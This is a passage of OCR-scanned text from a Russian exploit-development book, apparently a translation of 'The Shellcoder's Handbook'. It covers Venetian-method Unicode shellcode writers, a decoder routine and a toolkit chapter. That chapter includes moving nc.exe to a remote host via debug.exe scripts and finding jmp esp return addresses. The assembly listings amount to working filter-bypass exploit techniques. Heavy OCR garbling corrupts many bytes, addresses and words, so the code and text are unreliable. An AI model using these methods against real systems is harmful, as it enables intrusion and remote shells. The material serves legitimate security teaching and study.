Венецианский метод 189 (КИП J 066 (ИМ01069 1НИ0106С l)(L(I06D ШИ01070 ()()/!() 1071 80 00 42 00 6D 00 40 00 6D 00 40 00 6D 00 add add inc add inc add IhiiiM i но, что прибавление 0x42 к ОхОО дает 0x42. После этого регистр ЕАХ дважды имкромептируется для перехода к следующему нулевому байту; после этого мм i;moko может быть заполнен. Но не стоит забывать, что модуль записи должен содержать команды «в формате Unicode», поэтому команды должны быть Лммплнеиы nop-эквивалентами. Запись одного байта кода реализуется следующим фрагментом: byte ptr [eax].42h byte ptr [ebp].ch eax byte ptr [ebpl.ch eax byte ptr [ebpl.ch II hi к, мы имеем 14 байт команд G широких символов) и 2 байта памяти A широки и символ); получается, что для представления 2 байт реального кода ис- ||м»м».гуются 16 байт (8 широких символов). Один байт уже находится в прием- Нмм буфере, а второй создается модулем записи. Код Криса (относительно) компактен, что является достоинством, но проблема М 1им, что один из байтов кода равен 0x80. Если код сначала передается в виде ASCII-строки, а затем преобразуется в кодировку Unicode уязвимым процес- |мм, .пот байт может быть искажен в зависимости от того, какая кодовая страница была задействована в процессе преобразования. Кроме того, при замене мук'мого байта значением более 0x7F может возникнуть та же проблема. Чтобы мою по произошло, при создании модуля записи кода должны использоваться in mi.ко символы 0x20-0x7F. Еще более правильное решение — ограничиться одними буквами и цифрами; знаки препинания иногда обрабатываются особым мпрд.юм (усекаются, экранируются или преобразуются). Мы будем по возможном и обходиться без них для повышения шансов па успех. ASCII-реализация венецианского метода Маша задача — разработать эксплойт в кодировке Unicode, который на базе ве- нг|1п;шского метода записывает произвольный код «на лету», но использует и»it,ко алфавитные ASCII-символы. Существует несколько возможных решений, мо в большинстве своем они слишком неэффективны — для создания одним» байга произвольного внедряемого кода требуется слишком много байтов. Мпид, представленный далее, удовлетворяет поставленным требованиям, а ко- •ш'нч ню байтов па записываемый символ в нем меньше по сравнению с оригинальным венецианским методом. Но прежде чем переходить к описанию моду- 1ч ,1,ш11ги, необходимо задать состояние некоторых регистров. Регистр ЕСХ иу'нч указывать на первый нулевой байт приемного буфера, на вершине стека |и'|,ми> находиться значение 0x01, в регистре EDX (точнее — в DL) — значение и* 14, а м регистре ЕВХ (точнее — в BL) — значение 0x69. Не беспокойтесь, если • мим 'I них данных пока остается непонятным; вскоре все встанет па своп мое-
190 Глава 9. Обход фильтров та. После исключения для ясности пор-эквивалентов (в нашем случае add byU ptr [ebp],ch) код приобретает следующий вид: 0040В55Е 0040В560 0040В564 0040В568 0040В56С 0040В570 0040В574 0040В57А 0040В57Е 0040В582 0040В586 0040В58А 0040В590 0040В3594 6А 5В 43 53 54 58 6В 00 39 50 5А 54 58 6В 00 69 50 5В push pop I ПС push push pop imul push pop push pop imul push pop 0 ebx ebx ebx esp eax eax.dword ptr [eax],39h eax edx esp eax eax.dword ptr [eax],69h eax ebx Если предположить, что ЕСХ уже содержит указатель на первый нулевой бай1 (мы разберемся с этим позднее), приведенный фрагмент сначала извлекает зна! чение 0x00000000 с вершины стека и заносит сто в регистр ЕВХ. Теперь ЕВХ со| держит значение 0. Затем мы увеличиваем ЕВХ на 1 и заносим результат в сте^ После этого адрес вершины стека заносится в стек и извлекается в ЕАХ. В ро| зультате ЕАХ содержит адрес значения 1; 1 умножается на 0x39, что дает ОхЩ и результат сохраняется в ЕАХ. Далее значение заносится в стек и извлекаете^ в EDX. После этого EDX содержит 0x39, но что еще важнее, младшая 8-разрядна^ часть EDX, то есть DL, содержит 0x39. Адрес 1 снова заносится в стек командой push esp, а затем извлекается в ЕА)( В результате ЕАХ снова содержит адрес 1. Значение 1 умножается на 0x69; ре зультат сохраняется в ЕАХ, заносится в стек и извлекается в ЕВХ. Регистр EBX/BL те) перь содержит значение 0x69. И BL, и DL будут задействованы позднее, когда потро! буется записать байт со значением больше 0x7F. Вернемся к коду реализации веиб' цианского метода; после исключения для ясности пор-эквивалентов мы имеем: 0040В5ВА 0040В5ВЕ 0040В5С2 0040В5С5 0040В5С8 0040В5СС 54 push 58 pop 6В 00 41 imul 00 41 00 add 41 inc 41 inc esp eax eax.dword ptr [eax].41h byte ptr [ecx].al ecx ecx Как говорилось ранее, на вершине стека находится значение 0x00000001. Мы ;т< носим адрес 1 в стек и извлекаем его в ЕАХ, в результате чего ЕАХ содержит ад« рее 1. Используя операцию imul, мы умножаем 1 на записываемое значение ^ в данном случае 0x41. Теперь ЕАХ содержит 0x00000041, а следовательно, AL ео« держит 0x41. Это значение прибавляется к байту, на который указывает ЕСХ как уже отмечалось, этот байт равен нулю, и при суммировании 0x41 с 0x00 МЫ] получаем 0x41. Затем регистр ЕСХ дважды пнкрементируется для переходе к следующему нулевому байту (ненулевой байт пропускается), и весь процесс повторяется до тех пор, пока код не будет сформирован полностью. Что произойдет, если потребуется записать байт со значением, большим 0x/F? Здесь в игру вступают регистры BL и DL. Далее приводятся несколько варлам \o\i кода для обработки этой ситуации
Венецианский метод 191 h ми предположить, что нулевой байт должен заменяться байтом в интервале Он/! OxAF, например, 0x94 (xchg eax, esp), соответствующий код будет выглядеть так: ()(И(Ш5ВА ()(L()ВЬВЕ (ММПВ5С2 (НЖШЬСб <)(М0В5С8 П(L()В5С9 (НИ0В5СС OO/10B5D0 54 58 6В 00 00 41 46 00 51 41 41 5В 00 00 push pop imul add inc add inc ПС esp eax eax.dword ptr [eax],5Bh byte ptr [ecx],al esi byte ptr [ecx],dl ecx ecx Поратите внимание на происходящее. Сначала мы записываем значение 0x5В м нулевой байт и прибавляем к нему содержимое DL — значение 0x39. Значение О* 19 плюс 0x5В дает в результате 0x94. Кстати говоря, в качестве пор-эквивален- |ц ни лот раз вставляется команда inc esi, чтобы предотвратить слишком раннее ппкрементирование ЕСХ и прибавление 0x39 к одному из ненулевых байтов. I ( ми нулевой байт должен быть заменен значением в интервале OxAF-OxFF, например, ОхСЗ (ret), используйте следующий код: (НМ0В5ВА 0040В5ВЕ (КИ0В5С2 (КИ0В5С5 0040В5С8 ШМ0В5С9 (НМ0В5СС 0040B5D0 54 58 6В 00 5А 00 41 00 46 00 59 00 41 4] push pop imul add inc add inc inc esp eax eax.dword ptr [eax],5Ah byte ptr [ecx],al esi byte ptr [ecx].bl ecx ecx II пом случае происходит ю же самое, но на этот раз мы используем BL для прибавления 0x69 по заданному адресу. Для этого применяется регистр ЕСХ, и который было занесено значение 0х5А. Значение 0х5А плюс 0x69 дает в резуль- ииг ОхСЗ, а это и есть код команды ret. Ч ю делать, если значение лежит в интервале 0x00-0x20? В этом случае псполь- ivnoi переполнение байта. Если нулевой байт требуется заменить кодом 0x06 (push es), задействуйте следующий фрагмент: 01ИОВ5ВА 01ИОВ5ВЕ 1НИ0В5С2 01МОВ5С5 ШИ0В5С8 (НИ0В5С9 (III10B5CC DOlOBbCD ()(И()В500 OOI0B5D4 54 58 6В 00 64 00 41 00 46 00 59 00 46 00 51 00 41 41 push pop imul add inc add inc add inc inc esp eax eax.dword plr [eax].64h byte ptr [ecx].al esi byte ptr [ecxl.bl esi byte ptr [ecxl.dl ecx ecx I .ikмм образом, 0x60 плюс 0x69 плюс 0x39 дает 0x106. Но так как максимальное нычеипе байта равно OxFF, происходит «переполнение», и в байте остается 0x06 hoi меюд также может использоваться для изменения ненулевых байтов, ,in;i it коюрых не входят в диапазон 0x20 0x7F Более того, можно попытаться мпш.к ни, эффективность кода и сделать что-нибудь полезное в одном из пор .ж miiu'irmoB Скажем, если ненулевой байт должен быть равен ОхСЗ (ret), и.ми ч.iti.по ему можно присвоить значение 0х5А. Проследите за тем, чтбы .но оымо
192 Глава 9. Обход фильтров сделано перед вторым вызовом inc есх. Регулировка может осуществляться слв! дующим образом: 0040В5ВА 54 push esp 0040В5ВЕ 58 pop еах 0040В5С2 6В 00 64 imul eax.dword ptr [eax].41h 0040B5C5 00 41 00 add byte ptr [ecx],al 0040B5C8 41 inc ecx // Теперь ЕСХ указывает на 0х5А в приемном буфере 0040В5С9 00 59 00 add byte ptr [ecx].bl // <-- BL == 0x69 Ненулевой байт теперь равен ОхСЗ 0040В5СС 41 inc ecx 0040B5CD 00 6D 00 add byte ptr [ebp].ch Эти действия повторяются до тех пор, пока код не будет записан полностью Остается ответить на вопрос: какой именно код мы хотим выполнить? Дешифрирование После модуля записи необходимо написать сам код эксплойта. К сожалении объем такого кода иногда оказывается довольно большим, и предыдущая метв дика может быть неприемлемой — для кода просто не хватит места. Оптима/Ш ное решение — использовать модуль записи для создания компактного модул дешифрирования, который получает весь код в формате Unicode и преобразует ей в обычный формат (наш аналог функции WideCharToMultiByte()). Такое решеии существенно экономит место. Мы воспользуемся венецианским методом для создания аналога функци] WideCharToMultiByte(), а в конце полученного кода допишем код «настоящего! эксплойта. Принцип работы модуля дешифрирования выглядит так: допустим произвольный код, который мы хотим действительно выполнить, выглядит та| \x41\x42\x43\x44\x45\x46\x47\x48 При эксплуатации уязвимости он должен быть преобразован в строку Unicode \x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x48\x00 Однако мы отправляем строку \x41\x43\x45\x47\x48\x46\x44\x42 Эта строка превратится в следующую: \x41\x00\x43\x00\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00 Мы напишем свой модуль дешифрирования, аналог функции WideCharToMultl Byte(), который возьмет байт \х42 в конце строки и поместит его после Сглщ \х41, байт \х44 — после байта \х43, и т. д. \x41\x00\x43\x00\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00 Перемещение \х42: \x41\x42\x43\x00\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00 { Перемещение \х44: \x41\x42\x43\x44\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00 Перемещение \х46: \x41\x42\x43\x44\x45\x46\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00 Перемещение \х48: \х4]\х42\х43\х44\х45\х46\х47\х48\х48\хОО\х46\хОО\х44\х()()\ЧЛхО()
Дешифрирование 193 Ihmim образом, мы дешифрировали строку Unicode и получили внедряемый им л, который реально требуется выполнить. Код дешифрирования Кил дешифрирования будет оформлен в виде автономного модуля, что сделает ип Оолсе универсальным. Единственное допущение заключается в том, что при lun/ir регистр EDI будет содержать адрес первой выполняемой команды — в следующем примере 0х004010В4. Затем к EDI прибавляется объем модуля дешифрирования, 0x23 байта, чтобы регистр EDI указывал в позицию за командой jne п»и* С .ггого адреса начинается дешифрируемая Unicode-строка. IHMU10B4 1МИ010В7 IHM010B9 шмиювв DIMDIOBD 00401ОСО 1КИ010С2 ШМ010С4 ШИ010С6 ()(И()]0С9 1 и •?*(» 1КИ010СА (ИИОЮСВ (НИОЮСЕ 0040]0DO 004010D1 00/1010D2 00/1010D3 00/1010D4 004010D5 83 С7 23 33 СО 33 С9 F7 D1 F2 66 AF F7 D1 Dl E1 2В F9 83 Е9 04 47 49 8А 14 0F 88 17 47 47 49 49 49 75 F3 add хог хог not edi. eax. ecx, ecx 23h eax ecx repne seas word not shl ecx ecx. sub edi. sub inc ecx. edi 1 ecx 4 ptr [edi] dec ecx mov dl.dword ptr [edi+ecx] mov byte ptr [edi].dl inc edi inc edi dec ecx dec ecx dec ecx jne here @04010ca) Нгргд обработкой строки Unicode модуль дешифрирования должен знать длину i фоки. Чтобы код был универсальным, он должен обеспечивать дешифрирование прок произвольной длины. Для определения длины строки код сканирует i фоку и ищет два пулевых байта; помните, что два пулевых байта являются при таком завершения строки Unicode. В начале цикла дешифрирования на Mri кг here регистр ЕСХ содержит длину строки, а регистр EDI указывает на нача- 11и I роки. Затем, когда ЕСХ суммируется с EDI, он указывает на последний нену- •И'имй байт строки. Ненулевой байт временно перемещается в EDL, а затем пере- чн им и нулевой бант, на который ссылается EDI. Содержимое EDI увеличивается ни '\ I CX уменьшается на 4, и цикл продолжается. Km 'и EDI указывает па середину строки, регистр ЕСХ равен 0, и все ненулевые fniiiii.i в конце строки Unicode оказываются сдвинутыми в начало строки с за- i и нулевых байтов, мы получаем нормальный блок кода. После завершения шм,'i.i выполнение продолжается с начала расшифрованного блока. K.ib нжорилось ранее, для успешной работы представленного решения пеобхо- шм ука.шель на буфер, в который записывается модуль дешифрирования. По- • и i.i111к-11 кода дешифрирования указатель необходимо перевести n;i плчпчо |«,||м |>.1, г которым будгг работать модуль дешифрирования.
1 94 Глава 9. Обход фильтров Изменение адреса буфера Вернемся к тому моменту, когда мы только что взяли уязвимый процесс иод свой контроль. Прежде чем делать что-либо далее, необходимо получить ссьии ку на буфер, предоставленный пользователем. Так как в коде реализации венецианского метода использовался регистр ЕСХ, указатель на буфер необходим*^ поместить в ЕСХ. Есть два варианта; выбор зависит от того, содержится ли ука< затель на буфер в каком-либо регистре. Если указатель на буфер хранится в ка« ком-нибудь регистре (например, в регистре ЕАХ), мы заносим его в стек команд дой push и извлекаем в ЕСХ командой pop: push eax pop ecx Если ссылка на буфер не хранится пи в одном из регистров, но известно ее точное местонахождение в памяти, можно воспользоваться другим способом. КаК правило, сохраненный адрес возврата заменяется фиксированным адресом (скажем, 0x00410041), поэтому мы располагаем нужной информацией. push О pop eax inc eax push eax push esp pop eax imul eax.dword ptr[eax].0x00410041 В приведенном фрагменте значение 0x00000000 заносится в стек, а затем извлекается в ЕАХ. Обнуленный регистр ЕАХ увеличивается на 1 и заносится в стек* Таким образом, значение 0x00000001 находится на вершине стека. Мы заносим в стек адрес вершины стека и извлекаем его в ЕАХ; после этого регистр указывает на 1. Значение 1 умножается на адрес буфера, то есть фактически адрес перемещается в ЕАХ. Решение получается не самым эффективным, но мы не можем просто выполнить команду 0x00410041, потому что машинный код этой команды не соответствует формату Unicode. Когда адрес окажется в регистре ЕАХ, мы заносим его в стек и извлекаем в регистр ЕСХ: push eax pop ecx Далее остается только скорректировать его. Реализация модуля записи кода дешифрирования предоставляется читателю для самостоятельной работы; в данном разделе представлена вся информация, необходимая для решения этой задачи. Итоги В этой главе читатель узнал, как эксплуатировать уязвимости при наличии фильтров. Многие уязвимые программы разрешают передавать в буфер только печатные ASCII- или Unicode-символы. Иногда такие уязвимости относят к категории «неэксплуатируемых», по при наличии подходящего фильтра и модуля дешифрирования, а также некоторой доли творческого воображения, их экс плуатация становится делом вполне4 реальным
Часть III Выявление уязвимостей И фетьей части книги описаны самые популярные методы выявления уязвимо- i ici'i, применяемые хакерами на практике. Как известно, любая работа начинайся с подготовки рабочей среды. В главе 10 рассмотрены основные инструменты и справочные материалы, необходимые для эффективного поиска уязвимостей. И гмаве 11 читатель знакомится с одним из самых популярных методов автома- пилции процесса выявления уязвимостей — внесением ошибок. Глава 12 по- < иящена еще одному методу автоматического выявления уязвимостей — фаз- шигу. Наряду с фаззингом существуют и другие методы поиска уязвимостей, <шп также затронуты в этой главе. С ростом числа сложных приложений, по- < ииляемых с исходными текстами, все более важную роль в выявлении уязви мппей начинает играть анализ исходных текстов; в главе 13 описана методик;! поиска ошибок при наличии исходного кода программы. Темой главы 14 явля (чтя инструментальный анализ — один из методов ручного выявления уязвимо • ici'i, доказавши]! свою эффективность. Глава 15 посвящена трассировке у из мимостей, в ходе которой входные данные копируются между различными функциями, модулями п библиотеками. Глава 16 завершает эту часть киши И iirii приводится подробное руководство по поиску уязвимостей в ситуациях, мм да в распоряжении аналитика имеется только двоичный файл.
ГЛАВА 10 Формирование рабочей среды Всем, кто имеет дело с переполнением, форматными строками и другими аспектами внедряемого кода, требуется хорошая рабочая среда. Под рабочей средой имеется в виду вовсе не темная комната с большим количеством пиццы и диетической газировки. Речь идет о хорошем инструментарии для программирования и трассировки, а также справочных материалах, которые помогут добиться поставленной цели с минимальными хлопотами. Эта глава станет хорошей отправной точкой для формирования такой среды. Как правило, для эксплуатации дефектов необходимы по крайней мере два компонента: справочные документы и руководства с информацией о системе плюс набор средств разработки, позволяющих написать код эксплойта. Также очень пригодится инструментарий для трассировки (анализа поведения тестируемой системы). Глава начинается с краткого обзора самых популярных представителей каждой из трех категорий. Поскольку в мире внедряемого кода едва ли не каждый день появляется что-то новое, не стоит принимать приводимые рекомендации за истину в последней,инстанции. Скорее, это краткая сводка лучших справочных материалов, а также средств разработки и трассировки, существовавших на момент написания книги. Кроме того, мы не ориентируемся на конкретную систему, поэтому не все ссылки относятся к той ОС, с которой вы работаете. ОС указывается только там, где это принципиально — если она не указана, значит, программа работает практически на всех платформах, или это справочная статья обобщенной тематики. Справочные материалы Прежде всего потребуется документация по ассемблеру для целевой архитектуры: о Intel Architecture Software Developer's Manual, Volume 2: Instruction Set Reference (www.inteLcom/design/mobile/manuals/243191.htm). Также можно провести поиск в Интернете по образцу 24319101.pdf. о Х86 Assembly Language FAQ (www2.dgsys.com/~raymoon/x86f<u|s.hlml)
Сридс i на разработки 197 • | I Д(I (Itanium) — справочные материалы (www.intel.com/design/itanium/ma- nuals/iiasdmanuaLhtm). • » SPARC Assembly Language Reference Manual (http://docs.sun.com/db/doc/ H16-1681). Также можно провести поиск в Интернете по образцу 816-1681.pdf. ¦ 1 SPARC Architecture Online Reference Manual (www.comp.mq.edu.au/~kate/sparc/). -i I 'A/RISC (HP), справочные руководства (http://cpus.hp.com/technicaLreferences/ parisc.shtml). • i Хорошую подборку ссылок на разнообразные справочные материалы можно iiiiiirn по адресу www.lsd-pl.net/references.html. Средства разработки Дмлсе перечислены средства написания программного кода, наиболее распро- » i раненные среди хакеров, пишущих эксплойты для процессоров х86. дсс Компилятор gcc (GNU Compiler Collection) — нечто большее, чем просто ком- нммятор C/C++ (http://gcc.gnu.org/). Компилятор gcc также имеет интерфейсы Ч'ш l;ortran, Java и Ada. Можно уверенно "утверждать, что это лучший бесплатным, вернее распространяемый на условиях GPL (General Public License — общедоступная лицензия), компьютер, а благодаря поддержке встроенного ас- • смблера он является отличным инструментом для разработчика внедряемого м>да gdb Пмтдчик gdb (GNU Debugger) является бесплатным (распространяемым на усижиях GPL) и хорошо интегрированным с gcc инструментом командной i фоки (http://sources.redhat.com/gdb/). Кроме того, gdb обладает отличной под- /н'ржкой интерактивного дпзасссмблпрования, и потому хорошо подходит для .имлпза исходных векторов в случае дефектов переполнения и дефектов фор- м.миых строк. NASM N'VSM (Netwide Assembler) — бесплатный ассемблер для процессоров хЖ1 < поддержкой различных формаюв двоичных файлов, в том числе a.out для ИМ) м Linux, ELF, COFF, а также 16- и 32-разрядных объектных и исполнят мы\ форматов для Windows (http://sourcceforge.net/projects/nasm). NASM чрезвычайно полезный инструмент для всех, кому нужен спецпадпзнро минный ассемблер. В его документацию также включен превосходный сираиоч пик мо машинным командам х86.
198 Глава 10. Формирование рабочей среды WinDbg WinDbg — автономный отладчик для платформы Windows от компании Micrqu soft. Он имеет удобный графический интерфейс с целым рядом превосходиы! инструментов, включая инструменты поиска в памяти, отладки дочерних про цессов и обработки исключений. Отладчик WinDbg особенно полезен для эш плуатации уязвимостей программ на платформе Windows, порождающих дсм черние процессы (такие, как Oracle и Apache). WinDbg можно найти по адрес! www.microsoft.com/whdc/ddk/clebugging/default.mspx. Можно также провести lid иск в Интернете по образцу Debugging tools for Windows. ; OllyDbg OllyDbg — «анализирующий» отладчик для Windows (http://www.ollydbg.de/l OllyDbg поддерживает в высшей степени полезные функпии вроде полного пси иска в памяти (в WinDbg такая возможность отсутствует) и отличный дизас! семблер. Работая с OllyDbg, чувствуешь себя так, будто лучшие компоненту WiDbg и IDA объединились в одной бесплатной программе. SoftlCE Вероятно, NuMega SoftlCE — самый мощный отладчик для Windows, иредстам ленный на рынке (www.compuware.com/products/numega.htm). Он поддерживаем как отладку в режиме ядра, так и отладку Win32-пpилoжeний. SoftlCE чрезвы] чайно удобен для отслеживания переходов из пользовательского режима в ре] жим ядра. Если вы занимаетесь написанием средств rootkit или средств обнару] жения rootkit, SoftlCE существенно упростит вашу работу. Visual C++ Visual C++ — основной компилятор C/C++ от компании Microsoft. Он облада* ет превосходным пользовательским интерфейсом и полным набором встроен*! ных средств отладки. Visual C++ полностью интегрируется с документацией MSDN (Microsoft Developer Network), которая может оказаться чрезвычайна полезной при эксплуатации уязвимостей Windows — хороший справочник па Wi32 API, интегрированный в рабочую среду, заметно ускоряет поиск. КаН и gec, Visual C++ поддерживает встраиваемый ассемблер, что также упрощай разработку внедряемого кода. В общем, если у вас в распоряжении имеется лицензионная копия Visual С t-+/Developcr Studio, на нее стоит обратить внимание, Python В последнее время многие разработчики, занимающиеся эксплуатацией уязвимостей, пишут иа языке Python, ориентированном иа ускоренную разработку1 приложений. В частности, двое из авторов этой книги используют Python. С добавлением MOS-DEF, ассемблера Python и средства разработки внедряе мого кода, Python может стать одним из самых эффективных ипструмеп иж в вашем апсенале.
Сродства анализа 199 Средства анализа Д'1н поиска брешей в защите необходимо хорошо представлять внутренние мрумуры атакуемого приложения или программы. Инструменты, представшим мс в этом разделе, пригодятся в разных ситуациях, будь то поиск ошибок, pit ф.иннка эксилойта или попытки разобраться в работе чужого эксплойта. Полезные сценарии и утилиты Помимо инструментов, представленных в этой главе, авторы используют разно- мсцы.шые специализированные утилиты. Возможно, вы захотите написать соб- i ипчшые сценарии или утилиты для аналогичных целей. Поиск смещения Ни платформах Windows и Unix часто требуется найти адрес конкретной коми иды. Например, при переполнении стека в Windows может выясниться, что рпмсгр ESP содержит указатель па ваш внедряемый код. Чтобы использовать н»> обстоятельство, необходимо найти адрес последовательности команд, которая бы передавала управление вашему коду. Самый простой способ — найти и памяти одну из следующих последовательностей команд, а затем заменить ад- |мг возврата ее адресом: imp esp (Oxff 0xe4) • .ill esp @x1 f 0xd4) push esp, ret (Oxff 0xe4) hiKiie последовательности могут встречаться в разных местах памяти. В иде- jI'ii.iiom случае следует искать их в библиотеках DLL, которые остаются неизменными в разных обновлениях Service Pack. На момент написания книги и Windows 2000 сохранилось несколько библиотек DLL, не обновлявшихся i момента выхода этой версии Windows. Данные библиотеки содержат немало ничезиых последовательностей команд, и если вам удастся отыскать одну из нпч, это гарантирует работоспособность кода во всех версиях Service Pack для Windows 2000. I'.июга модуля поиска смещений основана на подключении к удаленному про- и«'< су, приостановке всех его программных потоков и поиске в памяти заданных типовых последовательностей с последующим их выводом в текстовый файл >м> простая, но очень полезная утилита. Универсальные фаззеры I i in вы проверяете конкретный продукт в поисках брешей в защите, веромшо, • мни написать фаззер, ориентированный па определенный аспект :ного про- ц м.| веб-интерфейс, нестандартный сетевой протокол или даже RI41- им iep Ф« и( Но даже в этом случае универсальные (обобщенные) фаззеры принесуi м< < омнепную пользу Иногда даже с помощью очень простого фа.игра можно 1111I111.D1 lUMF/IOXIIX ИСЧУШ.'ПТ^и
200 Глава 10. Формирование рабочей среды Отладчики Атаки обратного подключения (reverse shell) сопряжены в Windows с немалы ми трудностями. Вы не можете легко переслать файл на сервер, а сценарии) поддержка ограничена. Впрочем, это мрачное темное царство все же озаряете! лучом света, причем с самой неожиданной стороны — вам на помощь приходи1 старый отладчик MS-DOS, debug.exe. Отладчик debug.exe можно найти практически на любом компьютере с системе! Windows. Он существует еще с времен MS-DOS, но остался даже в Windo\^ 2000 Service Pack 4. Хотя debug.exe изначально предназначался для отладк! и создания com-файлов, он вполне годится для создания произвольных двоич ных файлов, правда с некоторыми ограничениями. Файл должен иметь длин; менее 64 Кбайт, а его имя не должно заканчиваться суффиксом .ехе или .согт] Для примера возьмем следующий двоичный файл: 73 71 75 65 61 6D 69 73 68 20 6F 73 73 69 66 72 squeamish ossifr 61 67 65 ОА DE CO DE DE CO DE DE CO DE age. @@рА@@р@@рА@@р(а@рА(Р@р Почему именно такой файл? Как нетрудно догадаться, из-за волшебных сл(>1 «squeamish ossifrage»1. Далее пишется файл сценария для вывода указанной двоичного файла (назовем его foo.scr): л foo txt е 0000 73 71 75 65 61 6D 69 73 68 20 6F 73 73 69 66 72 е 0010 61 67 65 Оа de cO de de cO de de cO de гсх le w 0 q Теперь запустим debug.exe: debug < foo scr Программа debug.exe выводит двоичный файл. Поскольку сценарий должен содержать только алфавитно-цифровые символuk для его создания можно воспользоваться командой echo и обратным подключи нием. Когда файл сценария окажется на удаленном хосте, вы запускаете debug.exj описанным способом и получаете двоичный файл. Исходному файлу можш просто назначить другое имя (например, nc.foo), а затем, после завершения ПЦ| ресылки, переименовать его в nc.exe. | Единственное, что необходимо автоматизировать, — это процесс создания фа!1| ла сценария. Как обычно, это легко делается при помощи Perl, Python или С Все платформы Вероятно, самой популярной утилитой сетевой защиты, используемой на \\cvi платформах, является NetCal. Автор исходной версии программы, Hobbit, оии<1 сал NetCal как «швейцарский армейский нож для TCP/IP». NetCat по:шолж"| Словосочетание, фадициошю пепочьлуемое н кригиолнамшпческих задачах (http://the-marjir-woMh« are-squeamish-ossifraqe.area51.ipupdater.com/) При меч непев
Сродства анализа 201 принимать и отправлять произвольные данные по произвольным TCP- и UDP- цп|нлм, и делать многое другое. NetCat входит во многие дистрибутивы Linux и мчеегвс стандартной программы; существует также переносимая версия для Windows и даже для GNU (http://netcat.sourceforge.net/). Id \1>/шые версии для Unix и Windows, авторами которых являются Hobbit и Крис Висопал (Chris Wysopal), находятся по адресу www.atstake.com/research/ !nnls/network_utUities/. Unix Кик правило, разобраться в том, что происходит в Unix, проще, чем в Windows, .ho несколько упрощает работу «охотников за ошибками». Itrace 111х>i рлмма Itrace позволяет отслеживать обращения к динамическим библиотекам и системным функциям со стороны программы, а также сигналы, получаемые программой. Если вы пытаетесь разобраться, как работает определенная •ин м. некоторого механизма обработки строк целевого процесса, Itrace окажет неоценимую помощь. Кроме того, она пригодится для обхода систем обнаружении вторжений (IDS) на хостах и анализа набора вызываемых системных функции Л'л дополнительной информацией обращайтесь к man-странице Itrace. «trace Программа strace, как и Itrace, предназначена для отслеживания сигналов и вы- юпои системных функций в процессе. Дополнительную информацию также можно найти в man-странице strace. fstat (BSD) V i и /шта fstat — это BSD-утилита, предназначенная для идентификации откры- i ы \ файлов (включая сокеты). С ее помощью можно легко проследить за дейст- шшмп, выполняемыми процессами в сложной среде. tcpdump К,iK известно, самые полезные дефекты — это те, которые можно использовать и vi.wieiiHOM режиме, поэтому очень важно обзавестись хорошим анализатором млычов. Программа tcpdump позволяет быстро составить представление о том, •мо делает тот или иной демон; впрочем, для углубленного анализа лучше по loii/irr Ethereal (см. далее). Ethereal I iheieal — бесплатный перехватчик и анализатор пакетов (www.ethereal.com/) < )н имеет графический интерфейс, содержит огромное количество модулей ;ша- ш и пакетов и поэтому принесет немалую пользу при анализе необычного ( eie шип протокола или написании фаззера.
202 Глава 10. Формирование рабочей среды Windows Платформа Windows весьма усложняет жизнь «охотникам за ошибками». J[i\i лее приводится список чрезвычайно полезных программ, которые могут быть :ш4 гружены с превосходного сайта Марка Руссиновича (Mark Russinovich) и Брайсч| Когсвелла (Bryce Cogswell), расположенного по адресу www.sysinternals.com/. о RegMon — мониторинг доступа к реестру Windows с применением фильтра чтобы вы могли сосредоточить внимание на тестируемых процессах. о FileMon - мониторинг файловых операций (также с применением фильтра^ о HandleEx — просмотр библиотек DLL, загруженных процессом, и открыты^ идентификаторов (например, именованных каналов, общих блоков памяти И файлов). о TCPView — получение информации о связи конечных точек TCP и UDI^ с процессами, которым они принадлежат. На упомянутом сайте имеется много других полезных программ, но эти четыре станут хорошей отправной точкой. IDA Pro IDA Pro -- лучший дизассемблер для тех, кто занимается инженерным анализом! Windows (www.datarescue.com/). Он обладает превосходным пользовательским интерфейсом с поддержкой сценариев, удобной системой перекрестных ссылок) и функциями поиска. IDA Pro особенно полезен, когда требуется узнать, чта именно делает некоторый уязвимый код, а также при возникновении проблем] с такими операциями, как перехват сокета. Базовые сведения О переполнении стека написано множество статей. Несколько реже попадают» ся статьи о форматных строках, и еще реже - о переполнении кучи. Если де* фект, который вы пытаетесь использовать, не принадлежит ни к одной из этих трех категорий, вероятно, найти информацию будет непросто. Хочется надеять-1 ся, что книга заполнит многие пробелы, по если потребуется дополнительная; информация, возможно, вам поможет представленный далее список. Учтите, что старые статьи часто приносят столько же пользы, сколько новые. Нередко в комментариях уточняются специфические приемы, представляющие интерес для начинающих хакеров. Количество превосходных статей так велико, что нам пришлось опустить часть списка для экономии места; пожалуйста, примите наши извинения, если ваша работа не попала в список. о Основы переполнения стека: © «Smashing the Stack for Fun and Profit» (Aleph One); журнал «Phrack», выпуск 49, статья 14. www.phrack.org/show.php?p=49&a=14
Базоиыо сведения 203 • «Iexploiting Windows NT 4 Buffer Overruns» (David Litchfield). www.nextgenss.com/papers/ntbufferoverflow/html • «Win32 Buffer Overflows: Location, Exploitation and Prevention» (dark spyrit, Barnaby Jack, dspyrit@beavuh.org); журнал «Phrack», выпуск 55, статья 15. www. phrack. org/show.php?p=55&a=l 5 • «The Art of Writing Shellcode» (smiler). http://julianor.tnpod.com/art-sheLLcode.txt • «The Tao of Windows Buffer Overflow» (as taught by DilDog). www.cultdeadcow.com/cDc_files/cDc-351/ • «Unix Assembly Codes Development for Vulnerabilities Illustration Purposes (LSD-PL)». ^ www. isd-pLnet/documents/asmcodes-1.0.2.pdf f» 11«тривиальное переполнение стека: • «Using Environment for Returning into Lib C» (Lupin Bursztein). www. shellcode.com.ar/docz/bof/n'lc.html • «Non-Stack Based Exploitation of Buffer Overrun Vulnerabilities on Windows NT/2000/XP» (David Litchfield). www.nextgenss.com/papers/non-stack-bo-Windows.pdf • «Bypassing Stackguard and StackShield Protection» (Gerardo Richarte). www. coresecurity.com/conunon/showdoc.php?idx=242&idxseccion=U • «Vivisection of an Exploit Development Process» (Dave Aitel); Blackhat Briefings Presentation, Amsterdam 2003. www.blackhat.com/presentations/bh-europe-03/bh-europe-03-aitel.pdf Г> < )сновы переполнения кучи: • «wOOwOO on Heap Overflows» (Matt Conover). www.wOOwOO.org/fiLes/articles/heaptut.txt • «Once upon a free()»; журнал «Phrack», выпуск 57, статья 9. www. phrack. org/show.php?p=57&a=9 • «Vudo nialloc 